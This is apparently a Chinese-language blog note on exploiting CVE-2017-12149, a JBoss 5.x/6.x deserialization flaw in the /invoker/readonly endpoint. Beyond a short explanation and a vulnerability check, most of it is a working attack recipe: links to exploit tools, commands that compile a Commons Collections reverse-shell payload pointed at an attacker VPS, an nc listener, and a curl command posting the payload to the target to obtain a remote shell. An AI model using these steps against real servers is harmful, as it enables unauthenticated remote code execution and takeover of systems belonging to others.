CVE-2017-12149-JBoss 5.x/6.x 反序列化
阅读原文时间:2023年07月09日阅读:2

漏洞分析

https://www.freebuf.com/vuls/165060.html

漏洞原理

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意代码,获得服务器的控制权。

影响范围

Jboss 5.x -6.x

漏洞验证

漏洞文件在 /invoker/readonly,即

返回500,说明存在漏洞

复现

方法1

利用工具

http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip     直接反弹shell

输入目标ip端口,和反弹ip和端口即可

nc -lvnp 7777

方法2

参考

https://www.cnblogs.com/Oran9e/p/7897102.html

1.下载工具

git clone http://scan.javasec.cn/java/JavaDeserH2HC.zip

解压

unzip JavaDeserH2HC.zip

2. cd JavaDeserH2HC  进去,执行命令

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap vpsIP:7777

执行2条命令会生成文件  ReverseShellCommonsCollectionsHashMap.ser

3.监听7777端口

nc -lvnp 7777

4.利用 curl 命令,搭建起数据通道,curl 生成的文件,就会去请求,执行文件里的命令

curl http://目标ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.成功反弹shell

方法3

参考

利用ysoserial 这个工具

https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

https://www.cnblogs.com/ffx1/p/12653543.html